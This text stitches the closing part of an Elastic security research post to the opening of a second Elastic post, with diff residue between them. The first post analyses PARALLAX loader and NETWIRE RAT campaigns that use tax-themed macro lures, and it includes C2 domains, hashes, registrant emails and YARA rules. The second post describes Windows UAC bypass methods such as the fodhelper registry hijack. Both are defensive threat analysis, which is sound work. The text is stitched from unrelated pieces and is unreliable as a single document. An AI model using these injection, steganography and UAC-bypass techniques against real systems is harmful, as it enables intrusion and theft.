After this, the loader uses the [Heaven’s Gate technique](https://www.zdnet.com/article/malware-authors-are-still-abusing-the-heavens-gate-technique/) and performs injection in the suspended **cmd.exe** process leveraging native Windows **ZwAllocateVirtualMemory** , **ZwWriteVirtualMemory,** and **ZwResumeThread** API functions.
|
||||
|
||||
### Fourth Stage
|
||||
|
||||
One interesting technique observed during this stage is through the use of a dropped file ( **cs16.cfg** ). The file is a legitimate Python header file and is prepended with the next stage file name ( **paper.png** ). In our observations, these point to local files previously downloaded but also has the flexibility to point to hosted objects. This is another example of using benign code to obfuscate more malicious intent.
|
||||
|
||||

|
||||
|
||||
If the first string of ( **cs16.cfg** ) points to a hosted file, it uses the [**IBackgroundCopyManager**](https://learn.microsoft.com/en-us/windows/win32/api/bits/nn-bits-ibackgroundcopymanager) Component Object Model (COM) interface to download a PNG file and store it on disk ( **paper.png** in our example).
|
||||
|
||||

|
||||
|
||||
The malware extracts a configuration structure from the stenographically-obfuscated PNG that contains the next PARALLAX loader stage and the final payload; in our sample, we identified the final payload as the NETWIRE RAT, but this process could be used to deliver other payloads.
|
||||
|
||||

|
||||
|
||||
The malware executes position independent shellcode that reads and decodes the PNG file, it first extracts the red pixel bytes to an array by parsing the PNG, then decompresses the data with the [LZMA algorithm](https://www.winzip.com/en/learn/tips/what-is-lzma/).
|
||||
|
||||

|
||||
|
||||
Next, it creates a suspended **cmd.exe** process and injects the NETWIRE payload and the last PARALLAX stage that will set up the environment and execute the NETWIRE payload.
|
||||
|
||||

|
||||
|
||||
Below is the memory regions showing the injected process hosting the NETWIRE payload:
|
||||
|
||||

|
||||
|
||||
### Fifth Stage
|
||||
|
||||
The fifth and final stage of PARALLAX Loader performs a UAC bypass through **CMSTPLUA** COM interface, a technique that has been used by ransomware-like LockBit, it then sets persistence on the system before executing the final payload by creating a scheduled task to run **Msidb.exe** using Component Object Model (COM).
|
||||
|
||||

|
||||
|
||||
## Campaign Analysis
|
||||
|
||||
Throughout the analysis of the lure documents and malware families, we observed two campaigns associated with their TTPs, malware, network infrastructure, and lure metadata.
|
||||
|
||||
The intersections we observed allowed us to observe additional network infrastructure and identify the characteristics of one infrastructure owner in Campaign 1.
|
||||
|
||||
In the following sections, we will describe relevant elements and artifacts associated with each campaign, as well as their relationships.
|
||||
|
||||
This section will be focused on campaign intersections. As each campaign functioned similarly with respect to their technical implementation (lure document -\\> macro -\\> defense evasion techniques -\\> PARALLAX loader -\\> NETWIRE RAT), we’ll use the analysis of the five stages for the deployment of the PARALLAX and NETWIRE malware that has been described in detail in the previous Execution Flow section.
|
||||
|
||||
While we are not attributing these campaigns to any specific threat actor, we have identified parallel research leveraging the same TTPs that we observed. This research was attributed to the financially motivated threat group, Evilnum [[1](https://attack.mitre.org/groups/G0120/), [2](https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum)] and the [DarkCasino campaign](http://blog.nsfocus.net/darkcasino-apt-evilnum/).
|
||||
|
||||
### Campaign 1
|
||||
|
||||
#### Overview
|
||||
|
||||
This campaign is clustered by shared lure document metadata, network infrastructure, dropped macro, and malicious DLL ( **msi.dll** ) **.**
|
||||
|
||||

|
||||
|
||||
#### Lure Documents
|
||||
|
||||
The three lure documents used in Campaign 1 were all macro-embedded Microsoft Word documents. The documents were all 153 pages long, with the macro embedded on the 3rd page. The documents all included the H1 Word [document header](https://support.microsoft.com/en-us/office/add-a-heading-3eb8b917-56dc-4a17-891a-a026b2c790f2) of **Как я искал Гантмахера** (loosely translated to: “How I searched for Gantmakher”). Vsevolod Gantmakher was a Russian physicist.
|
||||
|
||||
Extracting the metadata for all three documents, we can see their relationships based on several fields; most notably:
|
||||
|
||||
- The identical **HeadingPairs** (the names of the Word document header).
|
||||
- The identical **CreationDate** dates.
|
||||
- The identical **LastPrinted** dates.
|
||||
- The **ModifyDate** dates are all within 14-minutes.
|
||||
|
||||

|
||||
|
||||
The H1 document header of the lure documents does not appear relevant to the targeting as the lure document names and lure document content are wholly unrelated: two of the three document names were related to 2021 United States tax filings, all three of the document names are in English, and the contents of the lure documents are in Cyrillic.
|
||||
|
||||
#### Macro
|
||||
|
||||
The macro downloads five files, detailed in the Execution Flow section above **(cs16.wav**, **msi.dll** , **MsiDb.exe** , **paper.png** , and **cs16.cfg** ), from a different domain for each lure document.
|
||||
|
||||

|
||||
|
||||
#### Network Infrastructure
|
||||
|
||||
Campaign 1 included three domains contacted by the macro to download artifacts required for stages two through five (described in the “Execution Flow” section above) and three domains used for the NETWIRE RAT C2.
|
||||
|
||||
The six domains are:
|
||||
|
||||
- digitialrotprevention[.]com - macro-connected.
|
||||
- internationalmusicservices[.]com - macro-connected.
|
||||
- globalartisticservices[.]com - macro-connected.
|
||||
- ohioohioa[.]com - NETWIRE C2.
|
||||
- ywiyr[.]com - NETWIRE C2.
|
||||
- septton[.]com - NETWIRE C2.
|
||||
|
||||
The macro-connected domains (digitialrotprevention[.]com, internationalmusicservices[.]com, and globalartisticservices[.]com) include metadata that has allowed us to cluster these three domains together in Campaign 1.
|
||||
|
||||

|
||||
|
||||
In the above image, the Admin email address and Admin user name is russnet123@protonmail[.]com and **rus fam** , respectively. As of this writing, these domains have been suspended.
|
||||
|
||||
> Our research identified an additional domain, micsupportcenter[.]com that had the same Admin email address and Admin user name. The lure document included similar US tax document themes, macro elements, and TTPs; but we were unable to confirm that it was part of this campaign. This lure document was first observed in May of 2022 and is possibly part of a testing wave, but this is speculation. We are confident this is a malicious domain and are including it as an indicator artifact for this intrusion set, but not this campaign.
|
||||
|
||||
Once the execution flow reaches the Fourth Stage (described in the Execution Flow section above), the final three domains (ohioohioa[.]com, ywiyr[.]com, and septton[.]com) act as ongoing command and control nodes for the NETWIRE RAT.
|
||||
|
||||
While ohioohioa[.]com and ywiyr[.]com are protected by privacy services, septton[.]com has interesting metadata that we were able to collect and is outlined below in the SEPTTON Domain section below.
|
||||
|
||||
#### Campaign 1 Indicators
|
||||
|
||||
| Name | STIX 2.1 Indicator Type | Identifier |
|
||||
| ---------------------------------------------------------------- | ----------------------- | ------------------------------------------------- |
|
||||
| bc9f19ae835d975de9aaea7d233b6ea9b2bc30f80d192af2e8e68542b588917e | SHA-256 | Brian_Tax_Docs.doc lure document |
|
||||
| d70365481fb4806130743afd199697eb981a0eb2756754ecc548f5b30c2203a5 | SHA-256 | VIRGINIA-TAX-RETURN-2021-US-EXT.doc lure document |
|
||||
| 9dd709cb989d985a6cfee4a254f894a3b878a03962dbf253cb09a24ece455d58 | SHA-256 | All Docs.doc lure document |
|
||||
| 16227f50bbe42a13a2abf0bf0e146f356863de59525c54909ea8ccc2db448f77 | SHA-256 | msi.dll PARALLAX loader / NETWIRE |
|
||||
| 0c8c431a1f589fdcf453c7afada63c2e2e2a887e49abdbb222983fa6044fdf66 | SHA-256 | cs16.wav (shellcode) |
|
||||
| 6ed65beb692301af5296ba6751063ae40e91c4e69ced43560c67ce58165c36b5 | SHA-256 | cs16.cfg (config for PNG stage) |
|
||||
| 5f259757741757c78bfb9dab2cd558aaa8403951c1495dc86735ca73c33d877f | SHA-256 | paper.png (stager for NETWIRE) |
|
||||
| globalartisticservices[.]com | domain-name | PARALLAX loader domain |
|
||||
| DigitalRotPrevention[.]com | domain-name | PARALLAX loader domain |
|
||||
| InternationalMusicServices[.]com | domain-name | PARALLAX loader domain |
|
||||
| russnet123@protonmail[.]com | email-addr | PARALLAX loader domain registration email address |
|
||||
| chisholm.i@aol[.]com | email-addr | NETWIRE C2 domain registration email address |
|
||||
| ywiry[.]com | domain-name | NETWIRE C2 domain |
|
||||
| ohioohioa[.]com | domain-name | NETWIRE C2 domain |
|
||||
| septton[.]com | domain-name | NETWIRE C2 domain |
|
||||
|
||||
### Campaign 2
|
||||
|
||||
#### Overview
|
||||
|
||||
This campaign is clustered through its lure document metadata, network infrastructure, dropped macro, and malicious DLL ( **msvcr100.dll** ).
|
||||
|
||||

|
||||
|
||||
#### Lure Documents
|
||||
|
||||
The lure document used in Campaign 2 is a macro-embedded Microsoft Word document. The document metadata differentiates it from Campaign 1 based on the **LastModifiedBy** field and the macro network infrastructure.
|
||||
|
||||

|
||||
|
||||
The document name was also related to 2021 United States tax filings.
|
||||
|
||||
#### Macro
|
||||
|
||||
Like Campaign 1, the macro downloads several files. Beyond the DLL file ( **msvcr100.dll** ), all files were offline before they could be collected. Based on the TTPs observed in this campaign, we assess with high confidence that they **(java.exe**, **Fruit.png** , **idea.cfg** , and **idea.mp3** ) function similarly to the files from Campaign 1 and detailed in the Execution Flow section above.
|
||||
|
||||

|
||||
|
||||
Additional details about the Campaign 1 and Campaign 2 file relationships are in the “Campaign intersections” section below.
|
||||
|
||||
#### Network Infrastructure
|
||||
|
||||
Campaign 2 included one domain contacted by the macro to download artifacts required for stages two through five (described in detail in the “Execution Flow” section above). Additionally, there was one domain used for the NETWIRE RAT C2.
|
||||
|
||||
The two domains are:
|
||||
|
||||
- solro14.s3.ap-northeast-3.amazonaws[.]com - macro-connected
|
||||
- ohioohioa[.]com - NETWIRE C2
|
||||
|
||||
Once the execution flow reaches stage four, ohioohioa[.]com acts as the ongoing command and control node for the NETWIRE RAT.
|
||||
|
||||
#### Campaign 2 Indicators
|
||||
|
||||
| Name | STIX 2.1 Indicator Type | Identifier |
|
||||
| ---------------------------------------------------------------- | ----------------------- | ------------------------------------------ |
|
||||
| solro14.s3.ap-northeast-3.amazonaws[.]com | domain-name | PARALLAX loader domain |
|
||||
| 32fc0d1ad678133c7ae456ecf66c3fcf97e43abc2fdfce3ad3dce66af4841f35 | SHA-256 | 2021-Individual-Tax-Form.doc lure document |
|
||||
| 443879ee2cb3d572bb928d0831be0771c7120968e442bafe713a6e0f803e8cd9 | SHA-256 | msvcr100.dll PARALLAX loader / NETWIRE |
|
||||
| ohioohioa[.]com | domain-name | NETWIRE C2 domain |
|
||||
|
||||
## Campaign Intersections
|
||||
|
||||
Campaign 1 and Campaign 2 intersect in several ways.
|
||||
|
||||
As illustrated in the image below, each campaign relied on a lure document (or documents) to execute a macro that contacted adversary-owned or controlled domains; downloaded artifacts used to install and protect the PARALLAX and NETWIRE RAT implants. Additionally, in both campaigns we analyzed, there is a shared network infrastructure used for the NETWIRE C2.
|
||||
|
||||

|
||||
|
||||
### The Pyramid of Pain
|
||||
|
||||
In 2013 (and updated in 2014), security researcher David Bianco released an analytical model called the [Pyramid of Pain](http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html). The model is intended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in the model below, the identification of hash values is useful, but easily changed by an adversary whereas identifying TTPs is very difficult for an adversary to change.
|
||||
|
||||

|
||||
|
||||
The goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the impact (read: the amount of "pain") you can inflict.
|
||||
|
||||
When analyzing the two campaigns, we can put the Pyramid of Pain into action.
|
||||
|
||||
- **Hash values** - each lure document had a unique hash.
|
||||
- **IP addresses** - each network connection leveraged a different IP address.
|
||||
- **Domain names** - each network connection leveraged exclusive domains for the macro components but shared a NETWIRE C2 domain (ohioohioa[.]com).
|
||||
- **Network/host artifacts**
|
||||
|
||||
- Identically-named host artifacts observed in Campaign 1.
|
||||
- Renamed from Campaign 1, but functionally identical, host artifacts observed in Campaign 2.
|
||||
- Artifact bundles from both campaigns include similarly formatted and functionally identical files.
|
||||
|
||||
- **Tools** - macro-enabled Word document lures, and PARALLAX and NETWIRE RATs.
|
||||
- **TTPs** - complex and defensive five-staged execution chain.
|
||||
|
||||
Looking across both campaigns, we can see there is some shared infrastructure at the Domain Names tier in the NETWIRE C2 domain (ohioohioa[.]com). In the Network/host artifacts tier we can see additional intersections between the campaigns.
|
||||
|
||||

|
||||
|
||||
In both campaigns, we can see a PE file ( **MsiDb.exe** and **java.exe** ), a DLL file ( **msi.dll** and **msvcr100.dll** ), a PNG file ( **paper.png** and **Fruit.png** ), an audio-format named file ( **cs16.wav** and **idea.mp3** ), and a configuration file ( **cs16.cfg** and **idea.cfg** ) at the Network/host artifact tier. All downloaded files in Campaign 1 are named the same across all three lure documents. In both campaigns, the audio-format named files have the same base name as the configuration files ( **cs16.wav** / **cs16.cfg** and **idea.mp3** / **idea.cfg** ). In both campaigns, we assess with high confidence that all host artifacts are functionally identical as described in the Execution Flow section above.
|
||||
|
||||
## The SEPTTON Domain
|
||||
|
||||
As reported in the Campaign 1 section, most of the network infrastructure was either well-used across multiple intrusions unrelated to our campaigns or protected by domain privacy services.
|
||||
|
||||
An exception to that is the seppton[.]com domain, which was used as the C2 node for a NETWIRE RAT implant in our sampling. Continuing to analyze this domain, we observed several other associated malicious files. While we did not independently verify the family of malware that is communicating with this domain, signature names in VirusTotal include NETWIRE.
|
||||
|
||||
> It should be noted that signature names in VirusTotal alone do not present enough information to provide a high-confidence conviction of a malware sample to a malware family.
|
||||
|
||||
![septton[.]com file relationships](/assets/images/exploring-the-ref2731-intrusion-set/image5.jpg)
|
||||
|
||||
Looking through the registration information for the domain, we observed two elements of note, both email addresses - marketforce666@yandex[.]com and chisholm.i@aol[.]com.
|
||||
|
||||
![septton[.]com domain registration](/assets/images/exploring-the-ref2731-intrusion-set/image37.jpg)
|
||||
|
||||
In the next two sections, we’ll discuss the resource development for domains used in campaigns.
|
||||
|
||||
### marketforce666
|
||||
|
||||
Searching for **marketforce666** in a search engine did not return results of value from the United States; however, when changing to an Internet egress point within Russia and using the Yandex search engine (Yandex is a Russian Internet services provider), we identified 802 results that show this term has been associated with multiple abuse reports.
|
||||
|
||||

|
||||
|
||||
When expanding our search for domains registered by marketforce666@yandex[.]com, we identified three additional domains. We did not observe these additional domains in our campaigns, but we are including them as indicator artifacts. Below are the four total domains (one from Campaign 1 and three additional) that were registered by, either as the admin, tech, or registrant address, marketforce666@yandex[.]com.
|
||||
|
||||
![Domains registered to marketforce666@yandex[.]com](/assets/images/exploring-the-ref2731-intrusion-set/image31.jpg)
|
||||
|
||||
### gaza666
|
||||
|
||||
Looking at the other email address, chisholm.i@aol[.]com, we were able to connect this email address with a moniker of **gaza666** from the online forum and marketplace, Infected Zone.
|
||||
|
||||
On this forum, the user **gaza666** attempted to purchase (`https://infected-zone[.]com/threads/2814/`) an “Office 365 Complete Package” from the online seller **rzkyo**. **gaza666** and the seller **rzkyo** engaged in a dispute on the forum where **gaza666** did not believe they received what they purchased - which was a package for email spamming and four United States Office 365 accounts but received three nonfunctional and non-Office 365 Phillipino accounts. The seller, **rzkyo** , responded and the two debated what was purchased and what was delivered. The dispute was responded to by a moderator who attempted to resolve the issue.
|
||||
|
||||

|
||||
|
||||
![Invoice where gaza666 is linked to chisholm.i@aol[.]com](/assets/images/exploring-the-ref2731-intrusion-set/image14.png)
|
||||
|
||||
The results of the dispute were not in the forum, but there were several screenshots where **rzkyo** showed **gaza666** and the moderators that the services they sold were functional.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
While it is unknown if the infrastructure above that **gaza666** attempted to purchase from **rzkyo** was used in our observed campaigns (or ever used at all), but **gaza666** is associated with chisholm.i@aol[.]com, which was used to register septton[.]com, and septton[.]com was used as a NETWIRE C2 node in Campaign 1.
|
||||
|
||||

|
||||
|
||||
**marketforce666** (marketforce666@yandex[.]com) and **gaza666** (chisholm.i@aol[.]com) share a relationship in that both emails were used in the registration of septton[.]com, which was used as a NETWIRE C2 domain for Campaign 1. The **666** term appended to **marketforce** and **gaza** could be another indicator of their relationship, but this could not be confirmed.
|
||||
|
||||
## Diamond Model
|
||||
|
||||
Elastic Security utilizes the [Diamond Model](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) to describe high-level relationships between adversaries and victims of intrusions.
|
||||
|
||||

|
||||
|
||||
## Observed Adversary Tactics and Techniques
|
||||
|
||||
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
|
||||
|
||||
### Tactics
|
||||
|
||||
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
|
||||
- [Resource Development](https://attack.mitre.org/tactics/TA0042/)
|
||||
- [Initial Access](https://attack.mitre.org/tactics/TA0001/)
|
||||
- [Execution](https://attack.mitre.org/tactics/TA0002/)
|
||||
- [Persistence](https://attack.mitre.org/tactics/TA0003/)
|
||||
- [Privilege Escalation](https://attack.mitre.org/tactics/TA0004/)
|
||||
- [Defense Evasion](https://attack.mitre.org/tactics/TA0004/)
|
||||
- [Command and Control](https://attack.mitre.org/tactics/TA0011/)
|
||||
|
||||
### Techniques / Sub techniques
|
||||
|
||||
Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.
|
||||
|
||||
- [Acquire Infrastructure: Domains](https://attack.mitre.org/techniques/T1583/001/)
|
||||
- [Phishing: Attachment](https://attack.mitre.org/techniques/T1566/001/)
|
||||
- [Hijack Execution Flow: DLL Side-Loading](https://attack.mitre.org/techniques/T1574/002/)
|
||||
- [Process Injection](https://attack.mitre.org/techniques/T1055/)
|
||||
- [Scheduled Task](https://attack.mitre.org/techniques/T1053/005/)
|
||||
- [Native API](https://attack.mitre.org/techniques/T1106/)
|
||||
- [Obfuscated Files or Information: Steganography](https://attack.mitre.org/techniques/T1027/003/)
|
||||
- [Abuse Elevation Control Mechanism: Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002/)
|
||||
|
||||
## Detection
|
||||
|
||||
### Detection Logic
|
||||
|
||||
The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set.
|
||||
|
||||
**Behavioral Rules**
|
||||
|
||||
- [NetWire RAT Registry Modification](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_netwire_rat_registry_modification.toml)
|
||||
- [Remcos RAT Registry or File Modification](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_remcos_rat_registry_or_file_modification.toml)
|
||||
|
||||
**Detection Rules**
|
||||
|
||||
- [Persistence via Scheduled Job Creation](https://www.elastic.co/guide/en/security/current/persistence-via-scheduled-job-creation.html)
|
||||
- [Command Prompt Network Connection](https://www.elastic.co/guide/en/security/current/command-prompt-network-connection.html)
|
||||
|
||||
**Signatures**
|
||||
|
||||
- [Windows.Trojan.Parallax](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Parallax.yar)
|
||||
- [Windows.Trojan.Netwire](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Netwire.yar)
|
||||
- [Windows.Trojan.Remcos](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Remcos.yar)
|
||||
|
||||
### YARA
|
||||
|
||||
Elastic Security has created YARA rules to identify this activity.
|
||||
|
||||
```
|
||||
rule Windows_Trojan_Parallax_1 {
|
||||
meta:
|
||||
author = “Elastic Security”
|
||||
creation_date = "2022-09-05"
|
||||
last_modified = "2022-09-15"
|
||||
license = “Elastic License v2”
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "Parallax"
|
||||
threat_name = "Windows.Trojan.Parallax"
|
||||
strings:
|
||||
$COM_png = { B9 01 00 00 00 6B D1 00 C6 44 15 D4 83 B8 01 00 00 00 C1 E0 00 C6 44 05 D4 B6 B9 01 00 00 00 D1 E1 C6 44 0D D4 33 BA 01 00 00 00 6B C2 03 C6 44 05 D4 28 B9 01 00 00 00 C1 E1 02 C6 44 0D D4 36 BA 01 00 00 00 6B C2 05 C6 44 05 D4 6B B9 01 00 00 00 6B D1 06 C6 44 15 D4 90 B8 01 00 00 00 6B C8 07 C6 44 0D D4 97 }
|
||||
$png_parse = { 8B 4D ?? 8B 04 B8 85 C9 74 ?? 8B F1 90 8A 08 8D 40 ?? 88 0C 1A 42 83 EE ?? 75 ?? 8B 4D ?? 8B 45 ?? 47 3B 7D ?? 72 ?? }
|
||||
$config_func = { C7 45 F8 68 74 74 70 8B ?? ?? 8B 02 89 ?? ?? 6A 08 8D ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 08 8B ?? ?? 52 8D ?? ?? 50 8B ?? ?? 8B 51 0C FF D2 }
|
||||
$winnet_function = { B8 77 00 00 00 66 89 ?? ?? B9 69 00 00 00 66 89 ?? ?? BA 6E 00 00 00 66 89 ?? ?? B8 69 00 00 00 66 89 ?? ?? B9 6E 00 00 00 66 89 ?? ?? BA 65 00 00 00 66 89 ?? ?? B8 74 00 00 00 66 89 ?? ?? 33 C9 66 89 ?? ?? 8D ?? ?? 52 8B ?? ?? 8B 48 1C FF D1 }
|
||||
condition:
|
||||
$config_func or $winnet_function or $COM_png or $png_parse
|
||||
}
|
||||
|
||||
rule Windows_Trojan_Parallax_2 {
|
||||
meta:
|
||||
author = “Elastic Security”
|
||||
creation_date = "2022-09-08"
|
||||
last_modified = "2022-09-08"
|
||||
license = “Elastic License v2”
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "Parallax"
|
||||
threat_name = "Windows.Trojan.Parallax"
|
||||
strings:
|
||||
$parallax_payload_strings_0 = "[Ctrl +" ascii wide fullword
|
||||
$parallax_payload_strings_1 = "[Ctrl]" ascii wide fullword
|
||||
$parallax_payload_strings_2 = "Clipboard Start" ascii wide fullword
|
||||
$parallax_payload_strings_3 = "[Clipboard End]" ascii wide fullword
|
||||
$parallax_payload_strings_4 = "UN.vbs" ascii wide fullword
|
||||
$parallax_payload_strings_5 = "lt +" ascii wide fullword
|
||||
$parallax_payload_strings_6 = "lt]" ascii wide fullword
|
||||
$parallax_payload_strings_7 = ".DeleteFile(Wscript.ScriptFullName)" ascii wide fullword
|
||||
$parallax_payload_strings_8 = ".DeleteFolder" ascii wide fullword
|
||||
$parallax_payload_strings_9 = ".DeleteFile " ascii wide fullword
|
||||
$parallax_payload_strings_10 = "Scripting.FileSystemObject" ascii wide fullword
|
||||
$parallax_payload_strings_11 = "On Error Resume Next" ascii wide fullword
|
||||
$parallax_payload_strings_12 = "= CreateObject" ascii wide fullword
|
||||
$parallax_payload_strings_13 = ".FileExists" ascii wide fullword
|
||||
condition:
|
||||
7 of ($parallax_payload_strings_*)
|
||||
}
|
||||
```
|
||||
|
||||
## PARALLAX Payload Extractor
|
||||
|
||||
Automating the payload extraction from PARALLAX is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples in a timely manner.
|
||||
|
||||
Our extractor takes either a directory of samples with **-d** option or **-f** for a single sample, You can use the **-o** switch to set the output directory of the payloads.
|
||||
|
||||

|
||||
|
||||
To enable the community to further defend themselves against existing and new variants of the PARALLAX loader, we are making the payload extractor open source under the Apache 2 License. The payload extractor documentation and binary download can be accessed [here](https://www.elastic.co/security-labs/parallax-payload-extractor).
|
||||
|
||||
## Conclusion
|
||||
|
||||
In the above research, we have analyzed the two campaigns that we’ve tracked using macro-embedded lure documents that download seemingly benign artifacts from the staging hosts on the Internet, and weaponize those artifacts to perform persistence, command and control, and remote access of an infected host.
|
||||
|
||||
We also highlighted the elements used to cluster the two campaigns together and how the campaigns can be used with analytical models to impose costs on the campaign owners.
|
||||
|
||||
## References
|
||||
|
||||
The following were referenced throughout the above research:
|
||||
|
||||
- [https://blog.morphisec.com/parallax-rat-active-status](https://blog.morphisec.com/parallax-rat-active-status)
|
||||
- [https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax](https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax)
|
||||
- [https://attack.mitre.org/software/S0198/](https://attack.mitre.org/software/S0198/)
|
||||
- [https://attack.mitre.org/groups/G0120/](https://attack.mitre.org/groups/G0120/)
|
||||
- [https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum](https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum)
|
||||
- [http://blog.nsfocus.net/darkcasino-apt-evilnum/](http://blog.nsfocus.net/darkcasino-apt-evilnum/)
|
||||
|
||||
## Indicators
|
||||
|
||||
Artifacts are also available for [download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltc090b3574bb4e7be/633615e4a920fd42f67e7534/ref2731-indicators.zip) in both ECS and STIX format in a combined zip bundle.
|
||||
|
||||
| Name | STIX 2.1 Indicator Type | Identifier |
|
||||
| ---------------------------------------------------------------- | ----------------------- | ------------------------------------------------- |
|
||||
| bc9f19ae835d975de9aaea7d233b6ea9b2bc30f80d192af2e8e68542b588917e | SHA-256 | Brian_Tax_Docs.doc lure document |
|
||||
| d70365481fb4806130743afd199697eb981a0eb2756754ecc548f5b30c2203a5 | SHA-256 | VIRGINIA-TAX-RETURN-2021-US-EXT.doc lure document |
|
||||
| 9dd709cb989d985a6cfee4a254f894a3b878a03962dbf253cb09a24ece455d58 | SHA-256 | All Docs.doc lure document |
|
||||
| 16227f50bbe42a13a2abf0bf0e146f356863de59525c54909ea8ccc2db448f77 | SHA-256 | msi.dll PARALLAX loader / NETWIRE |
|
||||
| 0c8c431a1f589fdcf453c7afada63c2e2e2a887e49abdbb222983fa6044fdf66 | SHA-256 | cs16.wav (shellcode) |
|
||||
| 6ed65beb692301af5296ba6751063ae40e91c4e69ced43560c67ce58165c36b5 | SHA-256 | cs16.cfg (config for PNG stage) |
|
||||
| 5f259757741757c78bfb9dab2cd558aaa8403951c1495dc86735ca73c33d877f | SHA-256 | paper.png (stager for NETWIRE) |
|
||||
| 321d840a23b54bb022ff3a5dcac837e7aec14f66e3ec5e6da5bfeebec927a46c | SHA-256 | 2021-EXTENSION.doc lure document |
|
||||
| 443879ee2cb3d572bb928d0831be0771c7120968e442bafe713a6e0f803e8cd9 | SHA-256 | msvcr100.dll PARALLAX loader / NETWIRE |
|
||||
| globalartisticservices[.]com | domain-name | PARALLAX loader domain |
|
||||
| DigitalRotPrevention[.]com | domain-name | PARALLAX loader domain |
|
||||
| InternationalMusicServices[.]com | domain-name | PARALLAX loader domain |
|
||||
| ywiry[.]com | domain-name | NETWIRE C2 domain |
|
||||
| ohioohioa[.]com | domain-name | NETWIRE C2 domain |
|
||||
| septton[.]com | domain-name | NETWIRE C2 domain |
|
||||
| solro14.s3.ap-northeast-3.amazonaws[.]com | domain-name | PARALLAX loader domain |
|
||||
| mikemikemic[.]com | domain-name | Domains registered by marketforce666@yandex[.]com |
|
||||
| ppl-biz[.]com | domain-name | Domains registered by marketforce666@yandex[.]com |
|
||||
| opnarchitect[.]net | domain-name | Domains registered by marketforce666@yandex[.]com |
|
||||
| micsupportcenter[.]com | domain-name | PARALLAX loader domain |
|
||||
| russnet123@protonmail[.]com | email-addr | PARALLAX loader domain registration email address |
|
||||
| chisholm.i@aol[.]com | email-addr | NETWIRE C2 domain registration email address |
|
|
@ -0,0 +1,365 @@
|
|||
---
|
||||
title: "Exploring Windows UAC Bypasses: Techniques and Detection Strategies"
|
||||
slug: "exploring-windows-uac-bypasses-techniques-and-detection-strategies"
|
||||
date: "2023-05-15"
|
||||
description: "In this research article, we will take a look at a collection of UAC bypasses, investigate some of the key primitives they depend on, and explore detection opportunities."
|
||||
author:
|
||||
- slug: samir-bousseaden
|
||||
image: "llustration-desktop-security-webinar-1680x980.jpg"
|
||||
category:
|
||||
- slug: security-operations
|
||||
- slug: detection-science
|
||||
---
|
||||
|
||||
Malware often requires full administrative privileges on a machine to perform more impactful actions such as adding an antivirus exclusion, encrypting secured files, or injecting code into interesting system processes. Even if the targeted user has administrative privileges, the prevalence of [User Account Control](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) (UAC) means that the malicious application will often default to Medium Integrity, preventing write access to resources with [higher integrity levels](https://docs.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control). To bypass this restriction, an attacker will need a way to elevate integrity level silently and with no user interaction (no [UAC prompt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/images/uacconsentprompt.gif)). This technique is known as a User Account Control [bypass](https://attack.mitre.org/techniques/T1548/002/) and relies on a variety of primitives and conditions, the majority of which are based on piggybacking elevated Windows features.
|
||||
|
||||
Example of cscript.exe running as Medium spawning a cmd.exe instance with High integrity via a UAC bypass:
|
||||
|
||||

|
||||
|
||||
Most of UAC validation logic is implemented in the Application Information (AppInfo) service. A great primer about the elevation conditions and the different checks can be found [here](https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e).
|
||||
|
||||
In this blog post, we will take a look at a collection of UAC bypasses, investigate some of the key primitives they depend on, and explore detection opportunities.
|
||||
|
||||
## UAC Bypass Methods
|
||||
|
||||
UAC bypass methods usually result in hijacking the normal execution flow of an elevated application by spawning a malicious child process or loading a malicious module inheriting the elevated integrity level of the targeted application.
|
||||
|
||||
There are some other edge cases but the most common hijack methods are:
|
||||
|
||||

|
||||
|
||||
## Registry Key Manipulation
|
||||
|
||||
The goal of manipulating a registry key is to redirect the execution flow of an elevated program to a controlled command. The most abused key values are related to shell open commands for specific extensions (depending on the targeted program) or windir/systemroot[environment variables manipulation](https://www.tiraniddo.dev/2017/05/exploiting-environment-variables-in.html):
|
||||
|
||||
- HKCU\\Software\\Classes\\\<targeted_extension\\>\\shell\\open\command (Default or DelegateExecute values)
|
||||
- HKCU\\Environment\\windir
|
||||
- HKCU\\Environment\\systemroot
|
||||
|
||||
For instance, when fodhelper (a Windows binary that allows elevation without requiring a UAC prompt) is launched by malware as a Medium integrity process, Windows automatically elevates fodhelper from a Medium to a High integrity process. The High integrity fodhelper then attempts to open an ms-settings file using its default handler. Since the medium-integrity malware has hijacked this handler, the elevated fodhelper will execute a command of the attacker’s choosing as a high integrity process.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Below is an example of [Glupteba](https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba) malware leveraging this method to first elevate from a Medium to High integrity process, then from High to System integrity via Token Manipulation:
|
||||
|
||||

|
||||
|
||||
